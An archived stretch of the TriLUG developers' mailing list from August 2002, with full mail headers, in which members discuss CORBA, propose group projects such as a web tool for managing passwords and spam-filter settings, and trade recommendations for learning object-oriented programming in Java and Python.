Return-Path: Delivered-To: dev@trilug.org Received: from smtp2.southeast.rr.com (smtp2.southeast.rr.com [24.93.67.83]) by fatalpha.trilug.org (Postfix) with ESMTP id 5D9D1E661 for ; Wed, 7 Aug 2002 05:56:07 -0400 (EDT) Received: from mail7.nc.rr.com (fe7 [24.93.67.54]) by smtp2.southeast.rr.com (8.12.5/8.12.2) with ESMTP id g779v4ts020187 for ; Wed, 7 Aug 2002 05:57:04 -0400 (EDT) Received: from fezzik ([66.26.95.64]) by mail7.nc.rr.com with Microsoft SMTPSVC(5.5.1877.757.75); Wed, 7 Aug 2002 05:56:04 -0400 Content-Type: text/plain; charset="us-ascii" From: Tom Bryan To: dev@trilug.org Date: Wed, 7 Aug 2002 06:21:59 +0500 User-Agent: KMail/1.4.1 MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: <200208070621.59930.tbryan@python.net> Subject: [Dev] CORBA anyone? Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.11 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: I'd like to get my feet wet with some CORBA. Ideally, the IDL would spit out Java or Python. Actually, the best would be to have Python and Java objects talking to each other across CORBA. So, where should I start? I'm guessing that I need to set up an ORB on my Linux box. Anybody have some good recommendations? ---Tom From mmueller@ss7box.com Wed Aug 7 07:38:01 2002 Return-Path: Delivered-To: dev@trilug.org Received: from smtp6.mindspring.com (smtp6.mindspring.com [207.69.200.110]) by fatalpha.trilug.org (Postfix) with ESMTP id 5AA27E605 for ; Wed, 7 Aug 2002 07:38:01 -0400 (EDT) Received: from user-2ivf48p.dsl.mindspring.com ([165.247.145.25] helo=there) by smtp6.mindspring.com with smtp (Exim 3.33 #1) id 17cP8X-00063J-00 for dev@trilug.org; Wed, 07 Aug 2002 07:37:57 -0400 Content-Type: text/plain; charset="iso-8859-1" From: Michael Mueller To: dev@trilug.org Subject: Re: [Dev] Anybody Listening? Date: Wed, 7 Aug 2002 07:30:03 -0400 X-Mailer: KMail [version 1.3.1] References: <002b01c23dcb$b5aa2f80$de01a8c0@calliope> In-Reply-To: <002b01c23dcb$b5aa2f80$de01a8c0@calliope> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.11 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: On Wednesday 07 August 2002 00:34, Phillip Rhodes wrote: > So, does anybody post here anymore? Yup. Low frequency. My programming has slowed way down. With the telecom sector in the doldrums, I'm not too busy these days. > Tanner, got anymore good > "Stupid STL Tricks" or anything good for us? I getting rusty on STL. If you don't use you have to re-learn it. > Too bad our Design Patterns reading group kinda fell apart... maybe we > could resume some discussion of patterns here on the list, and not > necessarily > worry about meeting in person, or something... How about building something so we can apply the theory? We can make it inter-language so as not to force C++ on anyone. I've had some fun inter-working C++ and Python at the binary level. Here's an idea for a project: a trademark/servicemark generator. It takes a product description and searches the web for names already in use for similar products, then it generates new names that avoid trademark dispute on a rank order. The web search includes the USPTO and state level tradmark sites as well as the whole web. It should be an international tool, of course, so G7 nation trademark sites would be included. -- Mike Mueller www.ss7box.com From justin@eCotton.com Wed Aug 7 09:57:46 2002 Return-Path: Delivered-To: dev@trilug.org Received: from ecotton.com (unknown [204.118.220.88]) by fatalpha.trilug.org (Postfix) with ESMTP id BE78FE5F8 for ; Wed, 7 Aug 2002 09:57:45 -0400 (EDT) Received: from JUSTIN [204.118.220.107] by ecotton.com with ESMTP (SMTPD32-7.11) id A5B862600C2; Wed, 07 Aug 2002 09:50:48 -0400 From: "Justin Johnson" To: Subject: RE: [Dev] Anybody Listening? Date: Wed, 7 Aug 2002 09:57:51 -0500 Message-ID: <000401c23e22$ced15270$6bdc76cc@JUSTIN> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0) In-Reply-To: X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Importance: Normal Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.11 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: > > Too bad our Design Patterns reading group kinda fell > apart... maybe we > > could resume some discussion of patterns here on the list, and not > > necessarily > > worry about meeting in person, or something... > > How about building something so we can apply the theory? We > can make it inter-language so as not to force C++ on anyone. I am definitely interested in this too. I am definitely in favor of the language neutrality, as I am a Windows/Delphi developer by trade. Anyone up for doing examples in Object Pascal? And for those that aren't aware, yes OP (Delphi / Kylix) fully support OOP. It's not pure OOP as in Java, but for the most part I am glad of that(strings come to mind). Inheritance, Polymorphism, interfaces, that's all there. So what say you? I have interest in Java as well, but I would need to really jam on getting to know the language before I really started trying to apply Design Patterns in Java. As a side note, I am mostly learning Java as a vehicle for forcing myself to start developing in a more OOP way. If there is another language that some of you may consider better for learning OOP, I'm all ears. Later, Justin Johnson From justin@eCotton.com Wed Aug 7 09:58:49 2002 Return-Path: Delivered-To: dev@trilug.org Received: from ecotton.com (unknown [204.118.220.88]) by fatalpha.trilug.org (Postfix) with ESMTP id 43F1BE5FF for ; Wed, 7 Aug 2002 09:58:49 -0400 (EDT) Received: from JUSTIN [204.118.220.107] by ecotton.com with ESMTP (SMTPD32-7.11) id A5FA62800C2; Wed, 07 Aug 2002 09:51:54 -0400 From: "Justin Johnson" To: Subject: RE: [Dev] Anybody Listening? Date: Wed, 7 Aug 2002 09:59:00 -0500 Message-ID: <000501c23e22$f6e33210$6bdc76cc@JUSTIN> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0) In-Reply-To: X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Importance: Normal Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.11 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: > How about building something so we can apply the theory? We > can make it Is there anything that could be written that would benefit the Lug? From jonc@haht.com Wed Aug 7 10:27:53 2002 Return-Path: Delivered-To: dev@trilug.org Received: from mercury.srvr.haht.com (firewall.haht.com [216.54.164.3]) by fatalpha.trilug.org (Postfix) with ESMTP id 5E6D1E5E1 for ; Wed, 7 Aug 2002 10:27:53 -0400 (EDT) Received: from salsa.haht.com (salsa.haht.com [216.54.164.5]) by mercury.srvr.haht.com (8.9.3/8.9.3) with ESMTP id KAA13970 for ; Wed, 7 Aug 2002 10:27:33 -0400 Received: from JCARNES (barrier.haht.com [216.54.164.15]) by salsa.haht.com (8.11.6/8.11.6) with SMTP id g77ERmQ06026 for ; Wed, 7 Aug 2002 10:27:48 -0400 From: "Jon Carnes" To: Subject: RE: [Dev] Anybody Listening? Date: Wed, 7 Aug 2002 10:27:53 -0400 Message-ID: <000001c23e1e$9e85b920$0b04010a@JCARNES> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0) In-Reply-To: <000501c23e22$f6e33210$6bdc76cc@JUSTIN> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Importance: Normal Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.11 Precedence: bulk Reply-To: dev@trilug.org X-Reply-To: List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: A web-based management application that lets the individual user change passwords, play with their email forwards, procmail scripts, and spamassassin settings. Just a suggestion, Jon -----Original Message----- From: dev-admin@trilug.org [mailto:dev-admin@trilug.org]On Behalf Of Justin Johnson Sent: Wednesday, August 07, 2002 10:59 AM To: dev@trilug.org Subject: RE: [Dev] Anybody Listening? > How about building something so we can apply the theory? We > can make it Is there anything that could be written that would benefit the Lug? _______________________________________________ Dev mailing list Dev@trilug.org http://www.trilug.org/mailman/listinfo/dev From lovelace@wayfarer.org Wed Aug 7 13:23:15 2002 Return-Path: Delivered-To: dev@trilug.org Received: from maddux.wayfarer.org (rrcs-midsouth-24-172-56-10.biz.rr.com [24.172.56.10]) by fatalpha.trilug.org (Postfix) with SMTP id DC6A2E5FD for ; Wed, 7 Aug 2002 13:23:14 -0400 (EDT) Received: (qmail 9561 invoked by uid 401); 7 Aug 2002 17:25:01 -0000 Received: from localhost (HELO linux-lovelace.internal.opennms.org) (lovelace@127.0.0.1) by localhost with SMTP; 7 Aug 2002 17:25:01 -0000 Subject: RE: [Dev] Anybody Listening? From: Tanner Lovelace To: dev@trilug.org In-Reply-To: <000001c23e1e$9e85b920$0b04010a@JCARNES> References: <000001c23e1e$9e85b920$0b04010a@JCARNES> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8-4wtl Date: 07 Aug 2002 13:21:43 -0400 Message-Id: <1028740905.9504.29.camel@linux-lovelace.internal.opennms.org> Mime-Version: 1.0 Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.11 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: On Wed, 2002-08-07 at 10:27, Jon Carnes wrote: > A web-based management application that lets the individual user change > passwords, play with their email forwards, procmail scripts, and > spamassassin settings. > > Just a suggestion, Bingo! That would be awesome. Of course, the backend is primarily dependent on how things are setup (and they aren't yet), but the front end could be backend independent... Great suggestion, Jon. :-) Tanner -- Tanner Lovelace | lovelace@wayfarer.org | http://wtl.wayfarer.org/ --*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*-- GPG Fingerprint = A66C 8660 924F 5F8C 71DA BDD0 CE09 4F8E DE76 39D4 GPG Key can be found at http://wtl.wayfarer.org/lovelace.gpg.asc --*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*-- Si hoc legere scis, nimium eruditionis habes. From mjm-58@mindspring.com Wed Aug 7 15:41:19 2002 Return-Path: Delivered-To: dev@trilug.org Received: from granger.mail.mindspring.net (granger.mail.mindspring.net [207.69.200.148]) by fatalpha.trilug.org (Postfix) with ESMTP id 72D75E605 for ; Wed, 7 Aug 2002 15:41:19 -0400 (EDT) Received: from user-uivf3au.dsl.mindspring.com ([165.247.141.94] helo=there) by granger.mail.mindspring.net with smtp (Exim 3.33 #1) id 17cWgI-0006tB-00 for dev@trilug.org; Wed, 07 Aug 2002 15:41:18 -0400 Content-Type: text/plain; charset="iso-8859-1" From: Mike Mueller To: dev@trilug.org Subject: Re: [Dev] Anybody Listening? Date: Wed, 7 Aug 2002 15:33:22 -0400 X-Mailer: KMail [version 1.3.1] References: <000001c23e1e$9e85b920$0b04010a@JCARNES> In-Reply-To: <000001c23e1e$9e85b920$0b04010a@JCARNES> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.11 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: On Wednesday 07 August 2002 10:27, Jon Carnes wrote: > A web-based management application that lets the individual user change > passwords, play with their email forwards, procmail scripts, and > spamassassin settings. I am having problems cruising the net today. There are lots of dead-ends for me. Maybe it's that Allegiance - ICI thing John Franklin wrote about. Anyway I can't get to www.webmin.com to do my research before asking this question: Is the tool suggestion different from what webmin offers? (Hope I CMA on asking a stupid question.) -- m From jonc@haht.com Wed Aug 7 16:06:06 2002 Return-Path: Delivered-To: dev@trilug.org Received: from mercury.srvr.haht.com (firewall.haht.com [216.54.164.3]) by fatalpha.trilug.org (Postfix) with ESMTP id 8DF53E5E1 for ; Wed, 7 Aug 2002 16:06:06 -0400 (EDT) Received: from salsa.haht.com (salsa.haht.com [216.54.164.5]) by mercury.srvr.haht.com (8.9.3/8.9.3) with ESMTP id QAA08598 for ; Wed, 7 Aug 2002 16:05:48 -0400 Received: from JCARNES (barrier.haht.com [216.54.164.15]) by salsa.haht.com (8.11.6/8.11.6) with SMTP id g77K65Q14215 for ; Wed, 7 Aug 2002 16:06:05 -0400 From: "Jon Carnes" To: Subject: RE: [Dev] Anybody Listening? Date: Wed, 7 Aug 2002 16:06:11 -0400 Message-ID: <000c01c23e4d$e0de63b0$0b04010a@JCARNES> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0) In-Reply-To: X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Importance: Normal Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.11 Precedence: bulk Reply-To: dev@trilug.org X-Reply-To: List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: It's similar, but doesn't let you edit your .procmailrc file or your .spamassassin/user_prefs file. The model might be good to follow for development. I use the Steff Wagners app "cgipasswd" as a model for my apps which do similar tasks - but that is written in C. Jon -----Original Message----- From: dev-admin@trilug.org [mailto:dev-admin@trilug.org]On Behalf Of Mike Mueller Sent: Wednesday, August 07, 2002 3:33 PM To: dev@trilug.org Subject: Re: [Dev] Anybody Listening? On Wednesday 07 August 2002 10:27, Jon Carnes wrote: > A web-based management application that lets the individual user change > passwords, play with their email forwards, procmail scripts, and > spamassassin settings. I am having problems cruising the net today. There are lots of dead-ends for me. Maybe it's that Allegiance - ICI thing John Franklin wrote about. Anyway I can't get to www.webmin.com to do my research before asking this question: Is the tool suggestion different from what webmin offers? (Hope I CMA on asking a stupid question.) -- m _______________________________________________ Dev mailing list Dev@trilug.org http://www.trilug.org/mailman/listinfo/dev From mjm-58@mindspring.com Wed Aug 7 17:12:15 2002 Return-Path: Delivered-To: dev@trilug.org Received: from maynard.mail.mindspring.net (maynard.mail.mindspring.net [207.69.200.243]) by fatalpha.trilug.org (Postfix) with ESMTP id 3F3A6E5E1 for ; Wed, 7 Aug 2002 17:12:15 -0400 (EDT) Received: from user-uivf3au.dsl.mindspring.com ([165.247.141.94] helo=there) by maynard.mail.mindspring.net with smtp (Exim 3.33 #1) id 17cY6I-0008Bp-00 for dev@trilug.org; Wed, 07 Aug 2002 17:12:14 -0400 Content-Type: text/plain; charset="iso-8859-1" From: Mike Mueller To: dev@trilug.org Subject: Let's build something (was Re: [Dev] Anybody Listening?) Date: Wed, 7 Aug 2002 17:04:18 -0400 X-Mailer: KMail [version 1.3.1] References: <000c01c23e4d$e0de63b0$0b04010a@JCARNES> In-Reply-To: <000c01c23e4d$e0de63b0$0b04010a@JCARNES> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.11 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: On Wednesday 07 August 2002 16:06, Jon Carnes wrote: > It's similar, but doesn't let you edit your .procmailrc file or your > .spamassassin/user_prefs file. The model might be good to follow for > development. I use the Steff Wagners app "cgipasswd" as a model for my > apps which do similar tasks - but that is written in C. Is there some way to modify webmin to perform the needed functions? Or is that missing the point - the point being that we intend to do a bit a reinvention so that we can apply the patterns? Either way, it seems that something useful will get done. I volunteer to lead the User Manual effort. I am having loads of fun with DocBook and am impressed with what it can do. I am also interested to see if having a manual in front of development might be useful. -- m From tbryan@python.net Wed Aug 7 21:24:23 2002 Return-Path: Delivered-To: dev@trilug.org Received: from smtp3.southeast.rr.com (smtp3.southeast.rr.com [24.93.67.84]) by fatalpha.trilug.org (Postfix) with ESMTP id 1D3AEE5E1 for ; Wed, 7 Aug 2002 21:24:23 -0400 (EDT) Received: from mail6.nc.rr.com (fe6 [24.93.67.53]) by smtp3.southeast.rr.com (8.12.5/8.12.2) with ESMTP id g781OBga017281 for ; Wed, 7 Aug 2002 21:24:11 -0400 (EDT) Received: from fezzik ([66.26.95.64]) by mail6.nc.rr.com with Microsoft SMTPSVC(5.5.1877.757.75); Wed, 7 Aug 2002 21:24:22 -0400 Content-Type: text/plain; charset="iso-8859-1" From: Tom Bryan To: dev@trilug.org Subject: Re: [Dev] Anybody Listening? Date: Wed, 7 Aug 2002 21:50:18 +0500 User-Agent: KMail/1.4.1 References: <000401c23e22$ced15270$6bdc76cc@JUSTIN> In-Reply-To: <000401c23e22$ced15270$6bdc76cc@JUSTIN> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: <200208072150.18307.tbryan@python.net> Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.11 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: On Wednesday 07 August 2002 07:57 pm, Justin Johnson wrote: > Design Patterns in Java. As a side note, I am mostly learning Java as > a vehicle for forcing myself to start developing in a more OOP way. > If there is another language that some of you may consider better for > learning OOP, I'm all ears. I picked up a lot of OOP skills after reading most of "Thinking in Java" and then learning Python. You're right in that Java makes it difficult not to write in a more OO manner, but I have seen flat scripts written in Java. (The anagram example from "Just Java2" comes to mind.) If you want something compiled, marketable, and OO, Java is a great choice. If you want something quick, easy, and OO, Python and/or Ruby would be a good choice. Enjoy, ---Tom From justin@eCotton.com Thu Aug 8 09:30:56 2002 Return-Path: Delivered-To: dev@trilug.org Received: from ecotton.com (unknown [204.118.220.88]) by fatalpha.trilug.org (Postfix) with ESMTP id A6CC3E611 for ; Thu, 8 Aug 2002 09:30:56 -0400 (EDT) Received: from JUSTIN [204.118.220.107] by ecotton.com with ESMTP (SMTPD32-7.11) id A0EF22120088; Thu, 08 Aug 2002 09:23:59 -0400 From: "Justin Johnson" To: Subject: RE: [Dev] Anybody Listening? Date: Thu, 8 Aug 2002 09:31:07 -0500 Message-ID: <000001c23ee8$3c3a1750$6bdc76cc@JUSTIN> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0) X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 In-reply-to: <200208072150.18307.tbryan@python.net> Importance: Normal Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.11 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: > I picked up a lot of OOP skills after reading most of > "Thinking in Java" and then learning Python. You're right in that Java makes it > difficult not to write in a more OO manner, but I have seen flat > scripts written in Java. (The anagram example from "Just Java2" comes to mind.) Does "Thinking in Java" do much in the way of real wprld examples? I understand the basics principles of OOP, but as far as applying that to a real world problem, well I haven't gotten there yet. Is this a good book for that? I would really like to see a applied example of modeling classes based on real world objects / situations. I think this would help me get the hang of OO. > > If you want something compiled, marketable, and OO, Java is a great > choice. At this point not a great concern. > If you want something quick, easy, and OO, Python and/or Ruby > would be a good choice. I've heard Python mentioned before in this light. Any good book suggestions there? Thanks, Justin From john@radiomind.com Thu Aug 8 10:31:45 2002 Return-Path: Delivered-To: dev@trilug.org Received: from jbeimler (london-bridge.east.veritas.com [207.30.27.2]) by fatalpha.trilug.org (Postfix) with ESMTP id 48AD7E61C for ; Thu, 8 Aug 2002 10:31:45 -0400 (EDT) Received: by jbeimler (Postfix, from userid 1000) id 0756C1BB15; Thu, 8 Aug 2002 10:30:10 -0400 (EDT) Subject: RE: [Dev] Anybody Listening? From: John Beimler To: dev@trilug.org In-Reply-To: <000001c23ee8$3c3a1750$6bdc76cc@JUSTIN> References: <000001c23ee8$3c3a1750$6bdc76cc@JUSTIN> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.7 Date: 08 Aug 2002 10:30:09 -0400 Message-Id: <1028817009.8879.8.camel@jbeimler> Mime-Version: 1.0 Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.11 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: On Thu, 2002-08-08 at 10:31, Justin Johnson wrote: > Does "Thinking in Java" do much in the way of real wprld examples? I > understand the basics principles of OOP, but as far as applying that to a > real world problem, well I haven't gotten there yet. Is this a good book for > that? I would really like to see a applied example of modeling classes based > on real world objects / situations. I think this would help me get the hang > of OO. Try it yourself. You can download it from http://www.bruceeckel.com/ . The Wake county library also has at least one copy of it if you want to hold it as you read... Peace. john From jeremyp@pobox.com Thu Aug 8 11:32:48 2002 Return-Path: Delivered-To: dev@trilug.org Received: from courses.durhamtech.edu (courses.durhamtech.edu [198.86.17.19]) by fatalpha.trilug.org (Postfix) with ESMTP id 8B6B6E61A for ; Thu, 8 Aug 2002 11:32:48 -0400 (EDT) Received: from localhost (localhost [127.0.0.1]) by courses.durhamtech.edu (8.11.6/8.11.6) with ESMTP id g78FWlt06998 for ; Thu, 8 Aug 2002 11:32:47 -0400 Date: Thu, 8 Aug 2002 11:32:47 -0400 (EDT) From: Jeremy Portzer X-X-Sender: jeremyp@courses.durhamtech.edu To: dev@trilug.org Subject: RE: [Dev] Anybody Listening? In-Reply-To: <000001c23e1e$9e85b920$0b04010a@JCARNES> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.11 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: There is a nice application called "Cgipaf" that lets you change passwords, play with email forwards... that could be used as a starting point (need to add the procmail scripts and spamassassin settings). It's written in C (because a portion of it must be suid root)... so good for someone who wants to practice C. http://staf.patat.org/cgipaf/?lang=eng I use this on my mail server -- it's simple, but works nicely. --Jeremy On Wed, 7 Aug 2002, Jon Carnes wrote: > A web-based management application that lets the individual user change > passwords, play with their email forwards, procmail scripts, and > spamassassin settings. > > Just a suggestion, > > Jon > -----Original Message----- > From: dev-admin@trilug.org [mailto:dev-admin@trilug.org]On Behalf Of > Justin Johnson > Sent: Wednesday, August 07, 2002 10:59 AM > To: dev@trilug.org > Subject: RE: [Dev] Anybody Listening? > > > > How about building something so we can apply the theory? We > > can make it > > Is there anything that could be written that would benefit the Lug? > _______________________________________________ > Dev mailing list > Dev@trilug.org > http://www.trilug.org/mailman/listinfo/dev > > _______________________________________________ > Dev mailing list > Dev@trilug.org > http://www.trilug.org/mailman/listinfo/dev > From mjm-58@mindspring.com Thu Aug 8 11:46:40 2002 Return-Path: Delivered-To: dev@trilug.org Received: from tisch.mail.mindspring.net (tisch.mail.mindspring.net [207.69.200.157]) by fatalpha.trilug.org (Postfix) with ESMTP id C30DCE5F8 for ; Thu, 8 Aug 2002 11:46:40 -0400 (EDT) Received: from user-uivf3au.dsl.mindspring.com ([165.247.141.94] helo=there) by tisch.mail.mindspring.net with smtp (Exim 3.33 #1) id 17cpUj-0002AS-00 for dev@trilug.org; Thu, 08 Aug 2002 11:46:37 -0400 Content-Type: text/plain; charset="iso-8859-1" From: Mike Mueller To: dev@trilug.org Subject: Re: [Dev] Anybody Listening? Date: Thu, 8 Aug 2002 11:38:40 -0400 X-Mailer: KMail [version 1.3.1] References: <000001c23ee8$3c3a1750$6bdc76cc@JUSTIN> In-Reply-To: <000001c23ee8$3c3a1750$6bdc76cc@JUSTIN> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.11 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: On Thursday 08 August 2002 10:31, Justin Johnson wrote: > > If you want something quick, easy, and OO, Python and/or Ruby > > would be a good choice. > > I've heard Python mentioned before in this light. Any good book suggestions > there? www.python.org has good tutorials. I like the O'Reilly book on learning Python if you've got money to burn. The Python Library Reference at the website is a nice catalog of system programming interfaces bundled up in objects. -- m From tbryan@python.net Thu Aug 8 21:39:59 2002 Return-Path: Delivered-To: dev@trilug.org Received: from smtp3.southeast.rr.com (smtp3.southeast.rr.com [24.93.67.84]) by fatalpha.trilug.org (Postfix) with ESMTP id 5CD91E5E9 for ; Thu, 8 Aug 2002 21:39:59 -0400 (EDT) Received: from mail5.nc.rr.com (fe5 [24.93.67.52]) by smtp3.southeast.rr.com (8.12.5/8.12.2) with ESMTP id g791dkga011493 for ; Thu, 8 Aug 2002 21:39:46 -0400 (EDT) Received: from inigo ([66.26.95.64]) by mail5.nc.rr.com with Microsoft SMTPSVC(5.5.1877.757.75); Thu, 8 Aug 2002 21:39:58 -0400 Content-Type: text/plain; charset="iso-8859-1" From: Tom Bryan To: dev@trilug.org Subject: Re: [Dev] Anybody Listening? Date: Thu, 8 Aug 2002 21:39:08 +0000 User-Agent: KMail/1.4.1 References: <000001c23ee8$3c3a1750$6bdc76cc@JUSTIN> In-Reply-To: <000001c23ee8$3c3a1750$6bdc76cc@JUSTIN> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: <200208082139.09156.tbryan@python.net> Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.11 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: On Thursday 08 August 2002 02:31 pm, Justin Johnson wrote: > Does "Thinking in Java" do much in the way of real wprld examples? No. At least it didn't 4 years ago when I was reading it. The examples were made so that the author could present them at his group training classes. Thus, they are all bite-sized examples that only attempt to illustrate the point at hand. I remember being frustrated by the example code, but the prose was pretty good. > I > understand the basics principles of OOP, but as far as applying that > to a real world problem, well I haven't gotten there yet. Is this a > good book for that? IMHO, no. A co-worker once recommended a book that taught Java or some Java library by implementing an entire application over the course of the book. I've forgotten the title (never read it), but I'll see if I can track down the recommendation. > I would really like to see a applied example of > modeling classes based on real world objects / situations. I think > this would help me get the hang of OO. Understood. I would probably go to SourceForge for that. Ask around or find an app that you like. Then read the source code. :) I think that "Design Patterns" is actually great for focusing on techniques of object collaboration. > > If you want something quick, easy, and OO, Python and/or Ruby > > would be a good choice. > > I've heard Python mentioned before in this light. Any good book > suggestions there? I was fond of Programming Python. It started with a simple little flat script and then built it up, introducing new features in each chapter. Later in the book, the chapters are more self-contained. It was written before Python 1.5.2, IIRC, and I'm not sure whether there has been an update. For an experienced programmer, Learning Python is probably a good choice. It seemed to introduce all of the essential features of the language, some key libraries, and a few interesting tidbits at a good pace. I haven't actually read any other Python books. Another option is your local Triangle Python User Group (plug!). http://dev.zope.org/Members/tbryan/TriZPUG/FrontPage ---Tom From jmm@xanex.hippierage.org Wed Aug 7 22:31:32 2002 Return-Path: Delivered-To: dev@trilug.org Received: from xanex.hippierage.org (webmail.hippierage.org [137.118.8.13]) by fatalpha.trilug.org (Postfix) with ESMTP id 4F830E5F3 for ; Wed, 7 Aug 2002 22:31:32 -0400 (EDT) Received: (from jmm@localhost) by xanex.hippierage.org (8.9.3/8.9.3) id WAA21181 for dev@trilug.org; Wed, 7 Aug 2002 22:31:28 -0400 Date: Wed, 7 Aug 2002 22:31:28 -0400 From: James Manning To: dev@trilug.org Message-ID: <20020807223128.E6214@xanex.hippierage.org> Mail-Followup-To: James Manning , dev@trilug.org References: <002b01c23dcb$b5aa2f80$de01a8c0@calliope> <200208070620.28111.tbryan@python.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <200208070620.28111.tbryan@python.net>; from tbryan@python.net on Wed, Aug 07, 2002 at 06:20:28AM +0500 Subject: [Dev] Re: Anybody Listening? Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.11 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: [Tom Bryan] > Yes. My last post was the announcement of the Zope/Python User Group > formation two weeks ago. there a mailing list i could join? physical meetings are 